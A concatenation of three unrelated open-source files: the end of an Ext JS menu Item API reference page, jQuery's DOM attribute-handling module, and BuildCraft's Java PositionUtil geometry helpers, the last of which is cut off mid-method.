<ul><li><code>eventName</code> : String<div class="sub-desc">The name of the event to check for</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>Boolean</code><div class="sub-desc">True if the event is being listened for, else false</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#hasListener" href="Ext.util.Observable.html#hasListener">Observable</a>.</div> </div> <a name="hide"></a> <div class="mdetail"> <h3>hide</i></h3> <code>public function hide()</code> <div class="mdetail-desc"> Hide this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#hide" href="Ext.Component.html#hide">Component</a>.</div> </div> <a name="isVisible"></a> <div class="mdetail alt"> <h3>isVisible</i></h3> <code>public function isVisible()</code> <div class="mdetail-desc"> Returns true if this component is visible. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#isVisible" href="Ext.Component.html#isVisible">Component</a>.</div> </div> <a name="on"></a> <div class="mdetail"> <h3>on</i></h3> <code>public function on(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>, <span class="optional" title="Optional">[<code>Object options</code>]</span>&nbsp;)</code> <div class="mdetail-desc"> Appends an event handler to this element (shorthand for addListener) <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>eventName</code> : String<div class="sub-desc">The type of event to listen for</div></li><li><code>handler</code> : Function<div class="sub-desc">The method the event invokes</div></li><li><code>scope</code> : Object<div class="sub-desc">(optional) The scope in which to execute the handler function. The handler function's "this" context.</div></li><li><code>options</code> : Object<div class="sub-desc">(optional)</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#on" href="Ext.util.Observable.html#on">Observable</a>.</div> </div> <a name="purgeListeners"></a> <div class="mdetail alt"> <h3>purgeListeners</i></h3> <code>public function purgeListeners()</code> <div class="mdetail-desc"> Removes all listeners for this object <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#purgeListeners" href="Ext.util.Observable.html#purgeListeners">Observable</a>.</div> </div> <a name="removeListener"></a> <div class="mdetail"> <h3>removeListener</i></h3> <code>public function removeListener(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>&nbsp;)</code> <div class="mdetail-desc"> Removes a listener <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>eventName</code> : String<div class="sub-desc">The type of event to listen for</div></li><li><code>handler</code> : Function<div class="sub-desc">The handler to remove</div></li><li><code>scope</code> : Object<div class="sub-desc">(optional) The scope (this object) for the handler</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#removeListener" href="Ext.util.Observable.html#removeListener">Observable</a>.</div> </div> <a name="render"></a> <div class="mdetail alt"> <h3>render</i></h3> <code>public function render(&nbsp;<span class="optional" title="Optional">[<code>String/HTMLElement/Element container</code>]</span>&nbsp;)</code> <div class="mdetail-desc"> If this is a lazy rendering component, render it to its container element. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>container</code> : String/HTMLElement/Element<div class="sub-desc">(optional) The element this component should be rendered into. If it is being applied to existing markup, this should be left off.</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#render" href="Ext.Component.html#render">Component</a>.</div> </div> <a name="setDisabled"></a> <div class="mdetail"> <h3>setDisabled</i></h3> <code>public function setDisabled(&nbsp;<code>Boolean disabled</code>&nbsp;)</code> <div class="mdetail-desc"> Convenience function for setting disabled/enabled by boolean. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>disabled</code> : Boolean<div class="sub-desc"></div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#setDisabled" href="Ext.Component.html#setDisabled">Component</a>.</div> </div> <a name="setText"></a> <div class="mdetail alt"> <h3>setText</i></h3> <code>public function setText(&nbsp;<code>String text</code>&nbsp;)</code> <div class="mdetail-desc"> Sets the text to display in this menu item <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>text</code> : String<div class="sub-desc">The text to display</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by Item.</div> </div> <a name="setVisible"></a> <div class="mdetail"> <h3>setVisible</i></h3> <code>public function setVisible(&nbsp;<code>Boolean visible</code>&nbsp;)</code> <div class="mdetail-desc"> Convenience function to hide or show this component by boolean. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>visible</code> : Boolean<div class="sub-desc">True to show, false to hide</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#setVisible" href="Ext.Component.html#setVisible">Component</a>.</div> </div> <a name="show"></a> <div class="mdetail alt"> <h3>show</i></h3> <code>public function show()</code> <div class="mdetail-desc"> Show this component. <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li>None.</li> </ul> <strong>Returns:</strong> <ul> <li><code>Ext.Component</code><div class="sub-desc">this</div></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.Component" ext:member="#show" href="Ext.Component.html#show">Component</a>.</div> </div> <a name="un"></a> <div class="mdetail"> <h3>un</i></h3> <code>public function un(&nbsp;<code>String eventName</code>, <code>Function handler</code>, <span class="optional" title="Optional">[<code>Object scope</code>]</span>&nbsp;)</code> <div class="mdetail-desc"> Removes a listener (shorthand for removeListener) <div class="mdetail-params"> <strong>Parameters:</strong> <ul><li><code>eventName</code> : String<div class="sub-desc">The type of event to listen for</div></li><li><code>handler</code> : Function<div class="sub-desc">The handler to remove</div></li><li><code>scope</code> : Object<div class="sub-desc">(optional) The scope (this object) for the handler</div></li> </ul> <strong>Returns:</strong> <ul> <li><code>void</code></li> </ul> </div> </div> <div class="mdetail-def">This method is defined by <a ext:cls="Ext.util.Observable" ext:member="#un" href="Ext.util.Observable.html#un">Observable</a>.</div> </div> </div> <h2 class="mdetail-head">Event Details</h2> <div class="detail-wrap"> <a name="event-activate"></a> <div class="mdetail"> <h3>activate</i></h3> <code>public event activate</code> <div class="mdetail-desc"> Fires when this item is activated <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.menu.BaseItem<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#event-activate" href="Ext.menu.BaseItem.html#event-activate">BaseItem</a>.</div> </div> <a name="event-beforedestroy"></a> <div class="mdetail alt"> <h3>beforedestroy</i></h3> <code>public event beforedestroy</code> <div class="mdetail-desc"> Fires before the component is destroyed. Return false to stop the destroy. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-beforedestroy" href="Ext.Component.html#event-beforedestroy">Component</a>.</div> </div> <a name="event-beforehide"></a> <div class="mdetail"> <h3>beforehide</i></h3> <code>public event beforehide</code> <div class="mdetail-desc"> Fires before the component is hidden. Return false to stop the hide. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-beforehide" href="Ext.Component.html#event-beforehide">Component</a>.</div> </div> <a name="event-beforerender"></a> <div class="mdetail alt"> <h3>beforerender</i></h3> <code>public event beforerender</code> <div class="mdetail-desc"> Fires before the component is rendered. Return false to stop the render. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-beforerender" href="Ext.Component.html#event-beforerender">Component</a>.</div> </div> <a name="event-beforeshow"></a> <div class="mdetail"> <h3>beforeshow</i></h3> <code>public event beforeshow</code> <div class="mdetail-desc"> Fires before the component is shown. Return false to stop the show. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-beforeshow" href="Ext.Component.html#event-beforeshow">Component</a>.</div> </div> <a name="event-click"></a> <div class="mdetail alt"> <h3>click</i></h3> <code>public event click</code> <div class="mdetail-desc"> Fires when this item is clicked <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.menu.BaseItem<div class="sub-desc"></div></li><li><code>e</code> : Ext.EventObject<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#event-click" href="Ext.menu.BaseItem.html#event-click">BaseItem</a>.</div> </div> <a name="event-deactivate"></a> <div class="mdetail"> <h3>deactivate</i></h3> <code>public event deactivate</code> <div class="mdetail-desc"> Fires when this item is deactivated <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.menu.BaseItem<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#event-deactivate" href="Ext.menu.BaseItem.html#event-deactivate">BaseItem</a>.</div> </div> <a name="event-destroy"></a> <div class="mdetail alt"> <h3>destroy</i></h3> <code>public event destroy</code> <div class="mdetail-desc"> Fires after the component is destroyed. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-destroy" href="Ext.Component.html#event-destroy">Component</a>.</div> </div> <a name="event-disable"></a> <div class="mdetail"> <h3>disable</i></h3> <code>public event disable</code> <div class="mdetail-desc"> Fires after the component is disabled. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-disable" href="Ext.Component.html#event-disable">Component</a>.</div> </div> <a name="event-enable"></a> <div class="mdetail alt"> <h3>enable</i></h3> <code>public event enable</code> <div class="mdetail-desc"> Fires after the component is enabled. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-enable" href="Ext.Component.html#event-enable">Component</a>.</div> </div> <a name="event-hide"></a> <div class="mdetail"> <h3>hide</i></h3> <code>public event hide</code> <div class="mdetail-desc"> Fires after the component is hidden. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-hide" href="Ext.Component.html#event-hide">Component</a>.</div> </div> <a name="event-render"></a> <div class="mdetail alt"> <h3>render</i></h3> <code>public event render</code> <div class="mdetail-desc"> Fires after the component is rendered. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-render" href="Ext.Component.html#event-render">Component</a>.</div> </div> <a name="event-show"></a> <div class="mdetail"> <h3>show</i></h3> <code>public event show</code> <div class="mdetail-desc"> Fires after the component is shown. <div class="mdetail-params"> <strong style="font-weight:normal;">Subscribers will be called with the following parameters:</strong> <ul><li><code>this</code> : Ext.Component<div class="sub-desc"></div></li> </ul> </div> </div> <div class="mdetail-def">This event is defined by <a ext:cls="Ext.Component" ext:member="#event-show" href="Ext.Component.html#event-show">Component</a>.</div> </div> </div> <h2 class="mdetail-head">Config Details</h2> <div class="detail-wrap"> <a name="config-activeClass"></a> <div class="mdetail"> <h3>activeClass</i></h3> <code>activeClass : String</code> <div class="mdetail-desc"> The CSS class to use when the item becomes activated (defaults to "x-menu-item-active") </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#activeClass" href="Ext.menu.BaseItem.html#activeClass">BaseItem</a>.</div> </div> <a name="config-allowDomMove"></a> <div class="mdetail alt"> <h3>allowDomMove</i></h3> <code>allowDomMove : Boolean</code> <div class="mdetail-desc"> Whether the component can move the Dom node when rendering (defaults to true). </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.Component" ext:member="#allowDomMove" href="Ext.Component.html#allowDomMove">Component</a>.</div> </div> <a name="config-canActivate"></a> <div class="mdetail"> <h3>canActivate</i></h3> <code>canActivate : Boolean</code> <div class="mdetail-desc"> True if this item can be visually activated (defaults to true) </div> <div class="mdetail-def">This config option is defined by Item.</div> </div> <a name="config-disableClass"></a> <div class="mdetail alt"> <h3>disableClass</i></h3> <code>disableClass : String</code> <div class="mdetail-desc"> CSS class added to the component when it is disabled (defaults to "x-item-disabled"). </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.Component" ext:member="#disableClass" href="Ext.Component.html#disableClass">Component</a>.</div> </div> <a name="config-handler"></a> <div class="mdetail"> <h3>handler</i></h3> <code>handler : Function</code> <div class="mdetail-desc"> A function that will handle the click event of this menu item (defaults to undefined) </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#handler" href="Ext.menu.BaseItem.html#handler">BaseItem</a>.</div> </div> <a name="config-hideDelay"></a> <div class="mdetail alt"> <h3>hideDelay</i></h3> <code>hideDelay : Number</code> <div class="mdetail-desc"> Length of time in milliseconds to wait before hiding after a click (defaults to 100) </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#hideDelay" href="Ext.menu.BaseItem.html#hideDelay">BaseItem</a>.</div> </div> <a name="config-hideMode"></a> <div class="mdetail"> <h3>hideMode</i></h3> <code>hideMode : String</code> <div class="mdetail-desc"> How this component should hidden. Supported values are "visibility" (css visibility), "offsets" (negative offset position) and "display" (css display) - defaults to "display". </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.Component" ext:member="#hideMode" href="Ext.Component.html#hideMode">Component</a>.</div> </div> <a name="config-hideOnClick"></a> <div class="mdetail alt"> <h3>hideOnClick</i></h3> <code>hideOnClick : Boolean</code> <div class="mdetail-desc"> True to hide the containing menu after this item is clicked (defaults to true) </div> <div class="mdetail-def">This config option is defined by <a ext:cls="Ext.menu.BaseItem" ext:member="#hideOnClick" href="Ext.menu.BaseItem.html#hideOnClick">BaseItem</a>.</div> </div> <a name="config-icon"></a> <div class="mdetail"> <h3>icon</i></h3> <code>icon : String</code> <div class="mdetail-desc"> The path to an icon to display in this menu item (defaults to Ext.BLANK_IMAGE_URL) </div> <div class="mdetail-def">This config option is defined by Item.</div> </div> <a name="config-itemCls"></a> <div class="mdetail alt"> <h3>itemCls</i></h3> <code>itemCls : String</code> <div class="mdetail-desc"> The default CSS class to use for menu items (defaults to "x-menu-item") </div> <div class="mdetail-def">This config option is defined by Item.</div> </div> </div> </div> <hr> <div style="font-size:10px;text-align:center;color:gray;">Ext - Copyright &copy; 2006-2007 Ext JS, LLC<br />All rights reserved.</div> </body> </html>
{ "pile_set_name": "Github" }
define( [ "../core", "../core/access", "./support", "../var/rnotwhite", "../selector" ], function( jQuery, access, support, rnotwhite ) { "use strict"; var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // Attribute hooks are determined by the lowercase version // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && jQuery.nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, i = 0, attrNames = value && value.match( rnotwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle, lowercaseName = name.toLowerCase(); if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ lowercaseName ]; attrHandle[ lowercaseName ] = ret; ret = getter( elem, name, isXML ) != null ? lowercaseName : null; attrHandle[ lowercaseName ] = handle; } return ret; }; } ); } );
{ "pile_set_name": "Github" }
/* * Copyright (c) 2017 SpaceToad and the BuildCraft team This Source Code Form is subject to the terms of the Mozilla * Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at * https://mozilla.org/MPL/2.0/ */ package buildcraft.lib.misc; import java.util.List; import java.util.Random; import java.util.Set; import java.util.function.Consumer; import javax.annotation.Nullable; import com.google.common.collect.ImmutableList; import com.google.common.collect.ImmutableSet; import net.minecraft.util.EnumFacing; import net.minecraft.util.EnumFacing.Axis; import net.minecraft.util.Rotation; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Vec3d; import net.minecraft.util.math.Vec3i; import buildcraft.lib.misc.data.FaceDistance; public class PositionUtil { /** @return The exact direction from the first position to the second. Returns null if more than one axis value is * different, or they are the same position. */ @Nullable public static EnumFacing getDirectFacingOffset(BlockPos from, BlockPos to) { BlockPos diff = to.subtract(from); boolean x = diff.getX() != 0; boolean y = diff.getY() != 0; boolean z = diff.getZ() != 0; if (x && y || x && z || y && z) return null; if (x) return diff.getX() > 0 ? EnumFacing.EAST : EnumFacing.WEST; if (y) return diff.getY() > 0 ? EnumFacing.UP : EnumFacing.DOWN; if (z) return diff.getZ() > 0 ? EnumFacing.SOUTH : EnumFacing.NORTH; return null; } /** @return An integer representing the offset between the block positions, or null if * {@link #getDirectFacingOffset(BlockPos, BlockPos)} returned null. The distance will be negative if * returned {@link EnumFacing} is negative. */ @Nullable public static Integer getDirectFacingDistance(BlockPos from, BlockPos to) { BlockPos diff = to.subtract(from); boolean x = diff.getX() != 0; boolean y = diff.getY() != 0; boolean z = diff.getZ() != 0; if (x && y || x && z || y && z) return null; if (x) return diff.getX(); if (y) return diff.getY(); if (z) return diff.getZ(); return null; } @Nullable public static FaceDistance getDirectOffset(BlockPos from, BlockPos to) { BlockPos diff = to.subtract(from); boolean x = diff.getX() != 0; boolean y = diff.getY() != 0; boolean z = diff.getZ() != 0; if (x && y || x && z || y && z) return null; if (x) return new FaceDistance(Axis.X, diff.getX()); if (y) return new FaceDistance(Axis.Y, diff.getY()); if (z) return new FaceDistance(Axis.Z, diff.getZ()); return null; } public static Set<BlockPos> getCorners(BlockPos min, BlockPos max) { if (min == null || max == null) return ImmutableSet.of(); if (min.equals(max)) return ImmutableSet.of(min); ImmutableSet.Builder<BlockPos> set = ImmutableSet.builder(); set.add(min); set.add(new BlockPos(max.getX(), min.getY(), min.getZ())); set.add(new BlockPos(min.getX(), max.getY(), min.getZ())); set.add(new BlockPos(max.getX(), max.getY(), min.getZ())); set.add(new BlockPos(min.getX(), min.getY(), max.getZ())); set.add(new BlockPos(max.getX(), min.getY(), max.getZ())); set.add(new BlockPos(min.getX(), max.getY(), max.getZ())); set.add(max); return set.build(); } private static int getBoxAxisCount(BlockPos min, BlockPos max, BlockPos pos) { if (min == null || max == null || pos == null) { return 0; } int same = 0; int x = pos.getX(); int minX = min.getX(); int maxX = max.getX(); if (minX == x || maxX == x) { same++; } else if (minX > x || maxX < x) { return 0; } int y = pos.getY(); int minY = min.getY(); int maxY = max.getY(); if (minY == y || maxY == y) { same++; } else if (minY > y || maxY < y) { return 0; } int z = pos.getZ(); int minZ = min.getZ(); int maxZ = max.getZ(); if (minZ == z || maxZ == z) { same++; } else if (minZ > z || maxZ < z) { return 0; } return same; } /** Checks to see if the given position is a corner for the box given by min and max * * @param min The minimum co-ordinate of the box * @param max The maximum co-ordinate of the box * @param pos The position to test * @return True if this position was on a corner, false if not. */ public static boolean isCorner(BlockPos min, BlockPos max, BlockPos pos) { return getBoxAxisCount(min, max, pos) == 3; } /** Checks to see if the given position is on one of the edges of the box given by min and max * * @param min The minimum co-ordinate of the box * @param max The maximum co-ordinate of the box * @param pos The position to test * @return True if this position was on an edge, false if not. */ public static boolean isOnEdge(BlockPos min, BlockPos max, BlockPos pos) { return getBoxAxisCount(min, max, pos) >= 2; } /** Checks to see if the given position is on one of the faces of the box given by min and max * * @param min The minimum co-ordinate of the box * @param max The maximum co-ordinate of the box * @param pos The position to test * @return True if this position was on a face, false if not. */ public static boolean isOnFace(BlockPos min, BlockPos max, BlockPos pos) { return getBoxAxisCount(min, max, pos) >= 1; } public static boolean isNextTo(BlockPos one, BlockPos two) { BlockPos diff = one.subtract(two); boolean x = diff.getX() == 1 || diff.getX() == -1; boolean y = diff.getY() == 1 || diff.getY() == -1; if (x && y) return false; boolean z = diff.getZ() == 1 || diff.getZ() == -1; if (y && z) return false; return x != z; } /** Finds a rotation that {@link #rotateFacing(EnumFacing, Axis, Rotation)} will use on "from" to get "to", with a * given axis around. */ public static Rotation getRotatedFacing(EnumFacing from, EnumFacing to, Axis axis) { if (from.getAxis() == axis || to.getAxis() == axis) { throw new IllegalArgumentException("Cannot rotate around " + axis + " with " + from + " and " + to); } if (from == to) { return Rotation.NONE; } if (from.getOpposite() == to) { return Rotation.CLOCKWISE_180; } if (from.rotateAround(axis) == to) { return Rotation.CLOCKWISE_90; } else { return Rotation.COUNTERCLOCKWISE_90; } } /** Rotates a given {@link EnumFacing} by the given rotation, in a given axis. This relies on the behaviour defined * in {@link EnumFacing#rotateAround(Axis)}. */ public static EnumFacing rotateFacing(EnumFacing from, Axis axis, Rotation rotation) { if (rotation == Rotation.NONE || rotation == null) { return from; } if (from.getAxis() == axis) { return from; } else if (rotation == Rotation.CLOCKWISE_180) { return from.getOpposite(); } if (rotation == Rotation.COUNTERCLOCKWISE_90) { // 270 is the same as 180 + 90 // Vanilla gives us 90 for free. from = from.getOpposite(); } return from.rotateAround(axis); } /** Rotates a given vector by the given rotation, in a given axis. This relies on the behaviour of * {@link #rotateFacing(EnumFacing, Axis, Rotation)}. */ public static Vec3d rotateVec(Vec3d from, Axis axis, Rotation rotation) { Vec3d rotated = new Vec3d(0, 0, 0); double numEast = from.x; double numUp = from.y; double numSouth = from.z; EnumFacing newEast = PositionUtil.rotateFacing(EnumFacing.EAST, axis, rotation); EnumFacing newUp = PositionUtil.rotateFacing(EnumFacing.UP, axis, rotation); EnumFacing newSouth = PositionUtil.rotateFacing(EnumFacing.SOUTH, axis, rotation); rotated = VecUtil.replaceValue(rotated, newEast.getAxis(), numEast * newEast.getAxisDirection().getOffset()); rotated = VecUtil.replaceValue(rotated, newUp.getAxis(), numUp * newUp.getAxisDirection().getOffset()); rotated = VecUtil.replaceValue(rotated, newSouth.getAxis(), numSouth * newSouth.getAxisDirection().getOffset()); return rotated; } /** Rotates a given position by the given rotation, in a given axis. This relies on the behaviour of * {@link #rotateFacing(EnumFacing, Axis, Rotation)}. */ public static BlockPos rotatePos(Vec3i from, Axis axis, Rotation rotation) { BlockPos rotated = new BlockPos(0, 0, 0); int numEast = from.getX(); int numUp = from.getY(); int numSouth = from.getZ(); EnumFacing newEast = PositionUtil.rotateFacing(EnumFacing.EAST, axis, rotation); EnumFacing newUp = PositionUtil.rotateFacing(EnumFacing.UP, axis, rotation); EnumFacing newSouth = PositionUtil.rotateFacing(EnumFacing.SOUTH, axis, rotation); rotated = VecUtil.replaceValue(rotated, newEast.getAxis(), numEast * newEast.getAxisDirection().getOffset()); rotated = VecUtil.replaceValue(rotated, newUp.getAxis(), numUp * newUp.getAxisDirection().getOffset()); rotated = VecUtil.replaceValue(rotated, newSouth.getAxis(), numSouth * newSouth.getAxisDirection().getOffset()); return rotated; } public static LineSkewResult findLineSkewPoint(Line line, Vec3d start, Vec3d direction) { double ia = 0, ib = 1; double da = 0, db = 0; double id = 0.5; Vec3d va, vb; Vec3d best = null; for (int i = 0; i < 10; i++) { Vec3d a = line.interpolate(ia); Vec3d b = line.interpolate(ib); va = closestPointOnLineToPoint(a, start, direction); vb = closestPointOnLineToPoint(b, start, direction); da = a.squareDistanceTo(va); db = b.squareDistanceTo(vb); if (da < db) { // We work out the square root at the end to get the actual distance best = a; ib -= id; } else /* if (db < da) */ { // We work out the square root at the end to get the actual distance best = b; ia += id; } id /= 2.0; } return new LineSkewResult(best, Math.sqrt(Math.min(da, db))); } public static class LineSkewResult { public final Vec3d closestPos; public final double distFromLine; public LineSkewResult(Vec3d closestPos, double distFromLine) { this.closestPos = closestPos; this.distFromLine = distFromLine; } } public static Vec3d closestPointOnLineToPoint(Vec3d point, Vec3d linePoint, Vec3d lineVector) { Vec3d v = lineVector.normalize(); Vec3d p1 = linePoint; Vec3d p2 = point; // Its maths. Its allowed to deviate from normal naming rules. Vec3d p2_minus_p1 = p2.subtract(p1); double _dot_v = VecUtil.dot(p2_minus_p1, v); Vec3d _scale_v = VecUtil.scale(v, _dot_v); return p1.add(_scale_v); } public static class Line { public final Vec3d start, end; public Line(Vec3d start, Vec3d end) { this.start = start; this.end = end; } public static Line createLongLine(Vec3d start, Vec3d direction) { return new Line(start, VecUtil.scale(direction, 1024)); } public Vec3d interpolate(double interp) { return VecUtil.scale(start, 1 - interp).add(VecUtil.scale(end, interp)); } } /** Returns a list of all the block positions on the edge of the given box. */ public static ImmutableList<BlockPos> getAllOnEdge(BlockPos min, BlockPos max) { ImmutableList.Builder<BlockPos> list = ImmutableList.builder(); boolean addX = max.getX() != min.getX(); boolean addY = max.getY() != min.getY(); boolean addZ = max.getZ() != min.getZ(); if (addX & addY & addZ) { return getAllOnEdgeFull(min, max); } for (int x = min.getX(); x <= max.getX(); x++) { list.add(new BlockPos(x, min.getY(), min.getZ())); if (addY) { list.add(new BlockPos(x, max.getY(), min.getZ())); if (addZ) { list.add(new BlockPos(x, max.getY(), max.getZ())); } } if (addZ) { list.add(new BlockPos(x, min.getY(), max.getZ())); } } if (addY) { for (int y = min.getY() + 1; y < max.getY(); y++) { list.add(new BlockPos(min.getX(), y, min.getZ())); if (addX) { list.add(new BlockPos(max.getX(), y, min.getZ())); if (addZ) { list.add(new BlockPos(max.getX(), y, max.getZ())); } } if (addZ) { list.add(new BlockPos(min.getX(), y, max.getZ())); } } } if (addZ) { for (int z = min.getZ() + 1; z < max.getZ(); z++) { list.add(new BlockPos(min.getX(), min.getY(), z)); if (addX) { list.add(new BlockPos(max.getX(), min.getY(), z)); if (addY) { list.add(new BlockPos(max.getX(), max.getY(), z)); } } if (addY) { list.add(new BlockPos(min.getX(), max.getY(), z)); } } } return list.build(); } private static ImmutableList<BlockPos> getAllOnEdgeFull(BlockPos min, BlockPos max) { ImmutableList.Builder<BlockPos> list = ImmutableList.builder(); for (int x = min.getX(); x <= max.getX(); x++) { list.add(new BlockPos(x, min.getY(), min.getZ())); list.add(new BlockPos(x, max.getY(), min.getZ())); list.add(new BlockPos(x, max.getY(), max.getZ())); list.add(new BlockPos(x, min.getY(), max.getZ())); } for (int y = min.getY() + 1; y < max.getY(); y++) { list.add(new BlockPos(min.getX(), y, 